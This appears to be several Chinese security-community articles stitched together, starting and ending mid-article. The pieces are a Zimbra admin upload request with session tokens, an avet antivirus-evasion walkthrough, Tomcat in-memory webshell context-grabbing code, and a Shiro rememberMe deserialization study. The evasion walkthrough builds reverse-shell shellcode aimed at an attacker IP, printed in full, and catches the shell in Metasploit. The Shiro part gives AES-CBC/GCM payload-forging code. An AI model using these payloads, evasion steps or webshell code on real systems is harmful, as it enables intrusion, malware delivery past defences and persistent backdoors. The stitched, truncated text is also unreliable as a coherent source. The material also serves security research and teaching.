> Zimbra before 8.8.15 Patch 10 and 9.x before 9.0.0 Patch 3
漏洞描述：在/service/upload servlet
潜在的威胁，用户上传的可执行文件（exe,sh,bat,jar）将会保存在/opt/zimbra/data/tmp/upload/ 有可能导致任意命令执行。
**2\. 路由分析**
构造如下数据包，发送到服务
POST /service/upload?lbfums= HTTP/1.1
Host: 192.168.0.134
Connection: close
Content-Length: 15
Cache-Control: no-cache
X-Zimbra-Csrf-Token: 0_38c319c70c81c56eed17aad5e35812fa21001948
X-Requested-With: XMLHttpRequest
Content-Disposition: attachment; filename="/tmp/sss.sh"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: image/png;
Accept: */*
Origin: https://192.168.0.134
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.0.134/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true; ZM_AUTH_TOKEN=0_8b9e5ad6b5a6bd4187ddf6d643878ef8b46f8095_69643d33363a65373732363130352d646234652d346264322d616265392d3761306163373763333366373b6578703d31333a313630323137303035333339303b747970653d363a7a696d6272613b7469643d393a3738343036353232323b76657273696f6e3d31333a382e362e305f47415f313135333b637372663d313a313b; ZM_ADMIN_AUTH_TOKEN=0_627eb9423481a632a34a4f127477ff846abdafd6_69643d33363a65373732363130352d646234652d346264322d616265392d3761306163373763333366373b6578703d31333a313630323034323732313033303b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d31303a313737393534363132383b76657273696f6e3d31333a382e362e305f47415f313135333b; JSESSIONID=12djzn3t02efa9d03k80lut35
touch /tmp/aaa
由HttpServlet接受并处理，最后由zimbrastore.jar!/com/zimbra/cs/service/FileUploadServlet.class处理
**3\. 漏洞分析**
在doPost入口处获取了admin token并进行判断，如果合法则继续，所以该文件上传漏洞必须在admin权限下。
接下来检验csrftoken的合法性，如果不合法也是直接结束
获取请求参数lbfums赋值给limitByFileUploadMaxSize，判断Content-Type类型进入MultipartUpload和PlainUpload两个分支。
最后临时文件存储在 /opt/zimbra/data/tmp/upload/
最后关于该漏洞的利用大家可以一起讨论下
## 0x05 总结
本文从zimbra java web的部署，调试环境搭建，框架梳理，漏洞分析等多个方面介绍了关于zimbra
开源邮件系统的分析方法，总结了一些分析经验，关于zimbra的漏洞挖掘和分析仍有很多方面没有研究清楚，之后将会对zimbra子模块功能进行详细的分析，希望大家一起来参与讨论。
## 0x06 参考文献
<https://xz.aliyun.com/t/4490>
<https://www.howtoing.com/ubuntu-14-04-zimbra-server/>
<https://blog.csdn.net/weixin_40709439/article/details/90136596>
<https://recomm.cnblogs.com/blogpost/10741381?page=1>
<https://sec.thief.one/article_content?a_id=0ec1e192fe6336efdf2783c62c102afc> | 社区文章 |
# 【Blackhat】avet：杀软绕过工具使用教程
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[ **lfty89** ****](http://bobao.360.cn/member/contribute?uid=2905438952)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x01 简介**
**avet是一款在github（[
https://github.com/govolution/avet](https://github.com/govolution/avet)
）上的杀软绕过技术工具，同时也是2017亚洲黑帽大会（3月28日-7月31日）/美拉斯维加斯黑帽大会（7月22日-7月27日
PST）的arsnal（https://www.blackhat.com/us-17/arsenal/schedule/index.html）工具之一。**
这里是avet在亚洲黑大上的链接：
[https://www.blackhat.com/asia-17/arsenal.html#avet-antivirus-evasion-tool](https://www.blackhat.com/asia-17/arsenal.html#avet-antivirus-evasion-tool)
这里是avet在拉斯维加斯黑大上的链接：
[https://www.blackhat.com/us-17/arsenal/schedule/index.html#avet—antivirus-evasion-tool-7908](https://www.blackhat.com/us-17/arsenal/schedule/index.html#avet---antivirus-evasion-tool-7908)
**0x02 环境搭建**
我们在kali中测试使用avet，据avet作者介绍，在使用avet前，需要利用wine安装tdm-gcc，根据作者提供的教程（USING TDM GCC
WITH KALI 2）安装tdm-gcc：
<https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/>
**下载tdm-gcc**
从<https://sourceforge.net/projects/tdm-gcc/> 下载最新的tdm64-gcc-5.1.0-2.exe
或者在kali中用wget：
#wget -c --no-check-certificate https://nchc.dl.sourceforge.net/project/tdm-gcc/TDM-GCC%20Installer/tdm64-gcc-5.1.0-2.exe
**安装tdm-gcc**
#wine tdm64-gcc-5.1.0-2.exe
弹出安装窗口：
选择create->MinGW-w64/TDM64(32-bit and 64-bit)
默认安装路径C:TDM-GCC-64，之后选择默认镜像及组件，完成安装。
**0x03 使用示例**
**生成载荷**
先从github上下载avet：
#git clone https://github.com/govolution/avet
进入build目录，可以看到各种类型的payload：
这里我们测试build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh，打开文件编辑：
将lhost设置成kali的ip，lport为kali监听的端口：
回到上一层目录，这里需要注意一下，从github上下载的项目文件夹中默认有编译过的make_evet和sh_format，但是在使用时如果平台或架构不同的话会可能发生报错，如作者编译发布的make_evet是64位的，而笔者的环境是32位kali，运行报错：
root@kali:~/Desktop# file make_avet
make_avet: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9c06de9a25ab707db3ffc4882cebe862006c2d24, not stripped
所以最好还是重新编译make_evet和sh_format：
#gcc -o make_avet make_avet.c
#gcc -o sh_format sh_format.c
下面开始生成payload：
root@kali:~/Desktop/avet-master# ./build/build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai chosen with final size 414
Payload size: 414 bytes
Final size of c file: 1764 bytes
tr: warning: an unescaped backslash at end of string is not portable
________ ___ ___ _______ _________
| __ | / /| ___ |___ ___
| / / | __/|___ _|
__ / / / _|/__
/ / _|
__ __ __/ / _______ __
|__||__||__|/ |_______| |__|
Anti Virus Evasion Make Tool by Daniel Sauder
use -h for help
write shellcode from scclean.txt to defs.h
最终生成pwn.exe
**测试载荷**
在kali上运行metasploit、设置本地监听参数、开始监听：
#msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.120
LHOST => 192.168.1.120
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit -j
在一台32位win7靶机上运行pwn.exe：
回到kali上，连接已建立：
**0x04 流程分析**
再次查看文件build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh
脚本先运行
. build/global_win32.sh
将编译目标设为win32平台：
win32_compiler="wine gcc -m32"
再使用msfvenom生成shellcode：
msfvenom -p windows/shell/reverse_tcp lhost=192.168.1.120 lport=443 -e x86/shikata_ga_nai -i 3 -f c -a x86 --platform Windows > sc.txt
查看内容：
# cat sc.txt
unsigned char buf[] =
"xbdx2ex23x28x83xdbxddxd9x74x24xf4x5bx2bxc9xb1"
"x61x31x6bx15x83xc3x04x03x6bx11xe2xdbx99xa5x00"
"x06xe0x6cxc5x91x68xabx3ex7axb8x7ax0fx27x8bx2f"
"x62xd4xb8xddx01xbcx41x25xcexe2xf7x1bx13x5axe6"
"x2cx67xd2x3bx4exddx7bx68x95xd5x21xaax32x93xdf"
"x0ax60x1cx8fxc4x1fx12x59xa1xc3xecx21x89x0cx7b"
"x82xc2x12xf2x8cxe5x96xc6xcdxd6x69x82xe4x9dxcc"
"x09x5axc8x36xa7x52x1exb3xa3x22x20xecx81x77x59"
"x8ax04x88x9dxd3xffx1ax55x6dx45xe0x39x98x39x2c"
"xe1x62x66x1axb9xa7x73x15x1fxb5xb2xb8x6exf6x3b"
"xccx8exd5xb9x77x09x7ax06xbex70xa7xe6x9ax0axeb"
"xfaxa9x2cx40xa5x92xadx10x66x24x32xdex7bx3dx8d"
"x3cx25xf6xe5xe4x52xf7xedx37xf5x28x0ex45x35x15"
"x71x12xb3x87xcbx7ax1bx39xefx7cx0ex81x5fxa6x87"
"xa4xfdx09xb5x60xc7xf0xa1x97xefx84xe7x7fx5dxb7"
"x9fx90xe5x55xebx18x8cx5bx37x12xa3xc2xfcx5dx9e"
"x75x57xa3x4fxbbxb4x83x1fxe3x72x6ax61x73x0dxa0"
"x31x6ex47x5bx78x12x20xacx0cxb8x80x0bxe3xc1x16"
"x90x46x69xa6x93x4cx32xe0x84x0bxdfxb6x69xf9xd4"
"xb6x1exddxdfxd4xdax17x5dx70x7fxc0xe3x99xbdxd5"
"xfbx3cx22x38x8dx1ex90x97x73xacx59xe0xf3x52x1d"
"xa6x9axc3x51x45x7axdax2dx01xe1x28xabxf5xe1xe4"
"xffx2cxebx03x73x5dxebx11x1fxe3x57xfax3cxb6x15"
"x5axb4x87x2axadxc6x2ex15x03xf8xbax58x47x69xbb"
"x42xd0x61xb0x20x05x76x10x25x0ex2ax18xcdx54xdc"
"x66xfbx83xc7x94x85x83xe7xf4x7fxb1xcbxc7x23x96"
"x43x66x30x24xf4xf2x9cxe1x59x7dx37x4cx2bx28x23"
"x93x2fxf8x20x38x85xc1x54x29";
接着调用format.sh-> sh_format对shellcode进行格式调整/编码
./format.sh sc.txt > scclean.txt && rm sc.txt
# cat scclean.txt
bd2e232883dbddd97424f45b2bc9b161316b1583c304036b11e2db99a50006e06cc59168ab3e7ab87a0f278b2f62d4b8dd01bc4125cee2f71b135ae62c67d23b4edd7b6895d521aa3293df0a601c8fc41f1259a1c3ec21890c7b82c212f28ce596c6cdd66982e49dcc095ac836a7521eb3a32220ec8177598a04889dd3ff1a556d45e03998392ce162661ab9a773151fb5b2b86ef63bcc8ed5b977097a06be70a7e69a0aebfaa92c40a592ad10662432de7b3d8d3c25f6e5e452f7ed37f5280e4535157112b387cb7a1b39ef7c0e815fa687a4fd09b560c7f0a197ef84e77f5db79f90e555eb188c5b3712a3c2fc5d9e7557a34fbbb4831fe3726a61730da0316e475b781220ac0cb8800be3c116904669a6934c32e0840bdfb669f9d4b61edddfd4da175d707fc0e399bdd5fb3c22388d1e909773ac59e0f3521da69ac351457ada2d01e128abf5e1e4ff2ceb03735deb111fe357fa3cb6155ab4872aadc62e1503f8ba584769bb42d061b020057610250e2a18cd54dc66fb83c7948583e7f47fb1cbc7239643663024f4f29ce1597d374c2b2823932ff8203885c15429
将调整后的shellcode作为make_avet的输入文件，-E表示启动杀软的沙盒绕过机制
./make_avet -f scclean.txt -F –E
最后写入defs.h
# cat defs.h
#define FVALUE "bd2e232883dbddd97424f45b2bc9b161316b1583c304036b11e2db99a50006e06cc59168ab3e7ab87a0f278b2f62d4b8dd01bc4125cee2f71b135ae62c67d23b4edd7b6895d521aa3293df0a601c8fc41f1259a1c3ec21890c7b82c212f28ce596c6cdd66982e49dcc095ac836a7521eb3a32220ec8177598a04889dd3ff1a556d45e03998392ce162661ab9a773151fb5b2b86ef63bcc8ed5b977097a06be70a7e69a0aebfaa92c40a592ad10662432de7b3d8d3c25f6e5e452f7ed37f5280e4535157112b387cb7a1b39ef7c0e815fa687a4fd09b560c7f0a197ef84e77f5db79f90e555eb188c5b3712a3c2fc5d9e7557a34fbbb4831fe3726a61730da0316e475b781220ac0cb8800be3c116904669a6934c32e0840bdfb669f9d4b61edddfd4da175d707fc0e399bdd5fb3c22388d1e909773ac59e0f3521da69ac351457ada2d01e128abf5e1e4ff2ceb03735deb111fe357fa3cb6155ab4872aadc62e1503f8ba584769bb42d061b020057610250e2a18cd54dc66fb83c7948583e7f47fb1cbc7239643663024f4f29ce1597d374c2b2823932ff8203885c15429"
#define SANDBOX_FOPEN
#define ENCRYPT
最后利用交叉编译工具生成最终的pwn.exe：
$win32_compiler -o pwn.exe avet.c
下面附下make_evet的使用说明：
make_avet是avet中的针对shellcode的加载、配置工具。使用时，可以选择从本地文件或者url上加载shellcode代码，加载的shellcode代码会被写入到本地的defs.h文件中，并根据运行make_avet时提供的参数添加额外设置。
make_avet的编译命令如下：
gcc -o make_avet make_avet.c
make_avet使用说明：
Anti Virus Evasion Make Tool by Daniel Sauder
use -h for help
Options:
-l load and exec shellcode from given file, call is with mytrojan.exe myshellcode.txt
-f compile shellcode into .exe, needs filename of shellcode file
-u load and exec shellcode from url using internet explorer (url is compiled into executable)
-E use avets ASCII encryption, often do not has to be used
Note: with -l -E is mandatory
-F use fopen sandbox evasion
-X compile for 64 bit
-p print debug information
-h help
**0x05 查杀情况**
这里我们将build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh
生成的pwn.exe上传virustotal，扫描结果如下图：
虽然还是被卡巴杀了，但整体通过率还是较高的。
**0x06 参考引用**
<https://github.com/govolution/avet>
[https://www.blackhat.com/us-17/](https://www.blackhat.com/us-17/)
[https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
[https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
<https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/> | 社区文章 |
# 0 前言
目前Java内存马的全流程已经有完善的解决方案了：
* 第一步，获取当前请求的HttpRequest对象或tomcat的StandardContext对象(Weblogic下是ServletContext对象)，SpringMVC和SpringBoot下注入controller和interceptor则是获取到WebApplicationContext对象。
* 第二步，创建servlet、filter或controller等恶意对象
* 第三步，使用各类context对象的各种方法，向中间件或框架动态添加servlet、filter或controller等恶意对象，完成内存马的注入
向各种中间件和框架注入内存马的基础，就是要获得context，所谓context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象。
在Tomcat的第一步中，可以先获取HttpRequest对象，再通过该对象的getServletContext方法获取servletContext对象，并一步一步获取到StandardContext对象。也可以直接获取StandardContext进行后面的操作。因为各类中间件和框架的获取context的方法不一样，所以本文先对目前Tomcat已经有的实现方案做一个总结，再展开讲一种新的获取方法
# 1 当前获取context方法总结
## 1.1 已有request对象的情况
前面提到过，从request对象可以获取servletContext再一步一步获取standardContext。例如可以向Tomcat的webapp目录下上传JSP文件的情况下，JSP文件里可以就直接调用request对象，因为Tomcat编码JSP文件为java文件时，会自动将request对象放加进去。这时只需要一步一步获取standardContext即可
javax.servlet.ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取属性
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //从servletContext中获取context属性->applicationContext
Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 从applicationContext中获取context属性->standardContext，applicationContext构造时需要传入standardContext
## 1.2 没有request对象的情况
这时可以分为两种路线，第一种时获取request对象；第二种是直接从线程中获取standardContext对象。
### 1.2.1 从ContextClassLoader获取
由于Tomcat处理请求的线程中，存在ContextLoader对象，而这个对象又保存了StandardContext对象，所以很方便就获取了，代码如下：
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
System.out.println(standardContext);
这种做法的 **限制在于只可用于Tomcat 8 9**
### 1.2.2 从ThreadLocal获取request
这个方法来自于threedr3am师傅的[文章](https://xz.aliyun.com/t/7388)，详细过程就不展开了，看文章即可。获取request之后，就可以获得StandardContext了，这种方法可以兼容tomcat
789， **但在Tomcat 6下无法使用** 。
### 1.2.3 从MBean中获取
Tomcat 使用 JMX MBean
来实现自身的性能管理。而我们可以从jmxMBeanServer对象，在其field中一步一步找到StandardContext对象。具体实现过程和代码，可见[这篇文章](https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g)，这种方法可以兼容Tomcat789，但有个很大的局限性在于，必须猜中项目名和host，才能获取到对应的standardContext对象。
### 1.2.4 从Spring获取Context
这里的context是spring中的运行时上下文，并非tomcat的StandardContext对象。所以这个context是注入SpringMVC
和SpringBoot框架下的controller和intercepter才能用的。具体实现方法和代码，可以看[这篇文章](https://landgrey.me/blog/12/)
# 2 Tomcat 6789全版本的StandardContext获取方法
## 2.1 引入
前面提到的方法以及能解决Tomcat 789版本下的StandardContext获取，但Tomcat
6还没有解决方案。最近在看Shiro反序列化的时候，在xray技术博客上看到这样[一篇文章](https://blog.xray.cool/post/how-to-find-shiro-rememberme-deserialization-vulnerability/)，zema1师傅通过遍历`Thread.currentThread().getThreadGroup()`得到的线程数组，找到其中的request和response，实现了Tomcat
6789全版本的回显，并且还公开了思路和[代码](https://github.com/zema1/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java)(见其中的createTemplatesImplEcho方法)。我一想，既然拿到了request，这岂不是能拿来做Tomcat全版本的StandardContext获取。
先来看看获取request的大致流程，这里直接copy了一下
currentThread -> threadGroup ->
for(threads) -> target -> this$0 -> handler -> global ->
for(processors) -> req
照着思路和代码一通写加调试，发现不对劲了
正当我开心的拿到request对象，使用request.getServletContext()的时候，直接给我报错了，好家伙，看了一下这里获取的request对象的类名，在到源代码核对了一下，`org.apache.coyote.Reuqest`根本没有servletContext属性，并且也没有getParamters方法，只能获取header。
## 2.2 StandardEngine
正以为白忙活的时候，在线程数组里面，看到了一个名字为StandardEngine的线程，这不是送到嘴边了嘛。
在Tomcat里，一个Engine可以配置多个虚拟主机，也就是Host，每个Host有一个域名。一个Host下面又可以配置多个webapp，也就是tomcat/webapps目录下的多个webapp，而每个webapp可以表示为一个StandardContext，用来控制这个webapp。当然，一个Host可以就可以有多个StandardContext。直接从调试界面看看就更容易理解了
截图里的Engine、Host、Context使用toString方法得到如下结果
Engine: StandardEngine[Catalina]
Host: StandardEngine[Catalina].StandardHost[localhost]
StandardContext1: StandardEngine[Catalina].StandardHost[localhost].StandardContext[/spring_mvc]
StandardContext2: StandardEngine[Catalina].StandardHost[localhost].StandardContext[/manager]
这样一来，就很容易理解这几个对象的关系了。现在来正式写代码获取我们需要的StandardContext对象，在上面的图里可以看到，Host需要用域名从HashMap中获取，而我们当前的StandardContext需要用webapp的名字获取，调试模式下当然知道叫啥，但换到目标网站的时候，显然不可能用猜的。这里又联想到2.1中获取的request对象，看一下里面的Field，或许可以找到一些信息：
这叫什么？刚想睡觉，就有人把枕头递过来了：）那就先获取requet对象，拿到serverName和uri，从对应的HashMap中获取StandardContext。代码如下：
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import org.apache.catalina.core.StandardHost;
import org.apache.catalina.core.StandardContext;
public class Tomcat678 {
String uri;
String serverName;
StandardContext standardContext;
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException e) {
// field不存在，错误不抛出，测试时可以抛出
}
clazz = clazz.getSuperclass();
}
return null;
}
public Tomcat678() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){continue;}
// 不是对应的请求时，serverPort = -1
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(serverNameMB, "strValue");
if (this.serverName == null){
this.serverName = serverNameMB.toString();
}
if (this.serverName == null){
this.serverName = serverNameMB.getString();
}
org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
this.uri = (String) getField(uriMB, "strValue");
if (this.uri == null){
this.uri = uriMB.toString();
}
if (this.uri == null){
this.uri = uriMB.getString();
}
this.getStandardContext();
return;
}
}
}
public void getStandardContext() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
// 过滤掉不相关的线程
if (!thread.getName().contains("StandardEngine")) {
continue;
}
Object target = this.getField(thread, "target");
if (target == null) { continue; }
HashMap children;
try {
children = (HashMap) getField(getField(target, "this$0"), "children");
StandardHost standardHost = (StandardHost) children.get(this.serverName);
children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))){continue;}
// /spring_mvc/home/index startsWith /spring_mvc
StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;
System.out.println(this.standardContext);
// 添加内存马
return;
}
} catch (Exception e) {
continue;
}
if (children == null) {
continue;
}
}
}
}
测试的时候，把代码改造成jsp文件，放到不同Tomcat版本下测试即可。很可惜，这个方法只兼容Tomcat 678，在Tomcat
9中，线程数组里面没有StandardEngine这个线程了
## 2.3 Acceptor
没有了StandardEngine，那Tomcat就不开一个线程来接收http请求吗。在线程数组中继续寻找，发现每个Tomcat版本下，都会开一个Http-xio-端口-Acceptor的线程，Acceptor是用来接收请求的，这些请求自然会交给后面的Engine->Host->Context->servlet，关系图如下
顺藤摸瓜，从Acceptor一步一步找到了StandardEngine，后面获取StandardContext的流程和2.2中一样
经过测试，图中的获取流程在Tomcat
678可用的，而Tomcat9只需要将this$0替换成endpoint，container替换成engine。所以可用做到tomcat
6789全版本兼容，大致的流程如下
tomcat678 currentThread -> threadGroup -> for(threads) ->target
->this$0->handler->proto->adapter->connector->service->container
->children(一个HashMap，get获取standardHost)->standardHost->children(一个HashMap，get获取standardContext)
tomcat9 target->*endpoint*->handler->proto->adapter->connector->service-> *engine*
JSP代码如下：
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.catalina.core.StandardEngine"%>
<%@ page import="org.apache.catalina.core.StandardHost"%>
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.util.Iterator"%>
<%
class Tomcat6789 {
String uri;
String serverName;
StandardContext standardContext;
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e){}
catch (IllegalAccessException e){}
clazz = clazz.getSuperclass();
}
return null;
}
public Tomcat6789() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){continue;}
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(serverNameMB, "strValue");
if (this.serverName == null){
this.serverName = serverNameMB.toString();
}
if (this.serverName == null){
this.serverName = serverNameMB.getString();
}
org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
this.uri = (String) getField(uriMB, "strValue");
if (this.uri == null){
this.uri = uriMB.toString();
}
if (this.uri == null){
this.uri = uriMB.getString();
}
this.getStandardContext();
return;
}
}
}
public void getStandardContext() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
HashMap children;
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
}catch (Exception e){}
if (jioEndPoint == null){
try{
jioEndPoint = getField(target, "endpoint");
}catch (Exception e){ return; }
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
StandardEngine engine = null;
try {
engine = (StandardEngine) getField(service, "container");
}catch (Exception e){}
if (engine == null){
engine = (StandardEngine) getField(service, "engine");
}
children = (HashMap) getField(engine, "children");
StandardHost standardHost = (StandardHost) children.get(this.serverName);
children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))){continue;}
StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;
return;
}
}
}
}
public StandardContext getSTC(){
return this.standardContext;
}
}
%>
<%
Tomcat6789 a = new Tomcat6789();
out.println(a.getSTC());
%>
这里就直接给出jsp代码，同时去除了代码注释避免报错，方便师傅们测试。另外，在Tomcat下还有一个Poller线程，它和Acceptor一起负责接收请求，在Poller线程中同样可用找到StandardEngine，流程和Acceptor是一样的，就不重复写了。
如果使用反序列化或者JNDI注入向Tomcat植入内存马，可用找到的代码比较多，本文的方法可用放在前面作为获取StandardContext的部分，后面向Tomcat添加内存马的部分就不重复造轮子了。
# 3 参考链接
[Tomcat
Acceptor/Poller](https://blog.csdn.net/u011385186/article/details/53148702)
[Java安全之基于Tomcat实现内存马](https://www.cnblogs.com/nice0e3/p/14622879.html)
[Shiro RememberMe 漏洞检测的探索之路](https://blog.xray.cool/post/how-to-find-shiro-rememberme-deserialization-vulnerability/)
<https://github.com/zema1/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java> | 社区文章 |
##### 0x00：背景
shiro反序列化RCE是在实战中一个比较高频且舒适的漏洞，shiro框架在java
web登录认证中广泛应用，每一次目标较多的情况下几乎都可以遇见shiro，而因其payload本身就是加密的，无攻击特征，所以几乎不会被waf检测和拦截。
##### 0x01：shiro反序列化的原理
先来看看shiro在1.2.4版本反序列化的原理
这里是shiro拿到cookie后的关键代码，先decrypt再反序列化
跟到decrypt方法
调用具体的cipherService，传入加密后的数据和cipherKey进行解密
getDeryptionCipherKey()获取的值也就是这个DEFALUT key，硬编码在程序中
查看CipherService接口的继承关系，发现其仅有一个实现类JcaCipherService（静态可以这样看，动态调试会直接跟进去）
查看实现类的decrypt方法，可以看到iv即ciphertext的前16个字节，因为iv由我们随机定义并附加在最后的ciphertext前面，也就是说只要知道key即可构造反序列化payload
key是硬编码，后续官方修改为获得随机key，但正如一开始所说，存在开源框架配置硬编码key，因此在1.4.2以前很多shiro都可以通过略微修改脚本遍历高频key的方式去攻击，下图举例，github上有很多类似这样的代码
CBC算法的shiro生成payload的关键代码如下，也就是我们通用的生成shiro攻击代码
python中有实现aes-cbc的算法，通过指定mode为AES-CBC，遍历key，随机生成iv，配合ysoserial的gadget即可生成payload
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
file_body = pad(file_body)
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
##### 0x02：高版本下的利用
而在1.4.2以后由于padding
oracle的影响，shiro官方把加密方式改为了GCM，所以我们需要更改脚本，添加GCM下的攻击方式去攻击高版本的shiro，通过跟踪代码动态调试可以看出确实是使用GCM加密
所以shiro的攻击脚本中的核心代码我们来修改一下,GCM加密不需要padding，但需要一个MAC值（也就是我代码里的tag），这块可以自己跟一下源码，核心代码如下：
iv = os.urandom(16)
cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)
ciphertext, tag = cipher.encrypt_and_digest(file_body)
ciphertext = ciphertext + tag
base64_ciphertext = base64.b64encode(iv + ciphertext)
return base64_ciphertext
##### 0x03：获得key&回显&内存shell
从三月到八月有很多师傅写了很多文章集中在shiro的利用上，我也综合了各位师傅的想法和思路搞了一些脚本
1.key检测：
以前的脚本批量检测shiro的存在或者说获得key我们用到最多的还是ysoserial中的urldns模块，不过这个有一个问题就是如果不出网的话会有问题，所以这里还有一个新的办法就是使用一个空的SimPlePrincpalCollection作为我们要序列化的对象，也就是构造一个正确的rememberMe触发反序列化，如果key是正确的，响应包中不会返回rememberMe=deleteMe，这里一开始我想在脚本中通过检测返回包中是否有deleteMe关键字来做判断，结果发现有一些环境本身就会返回rememberMe=deleteMe，因此最终选择了一个比较暴力的方式，关键代码如下
r1 = requests.get(target, cookies={'rememberMe': "123"}, timeout=10, proxies=PROXY,
verify=False, headers=myheader,allow_redirects=False)
rsp1=len(str(r1.headers))
#这里我先给一个肯定不正确的rememberMe
try:
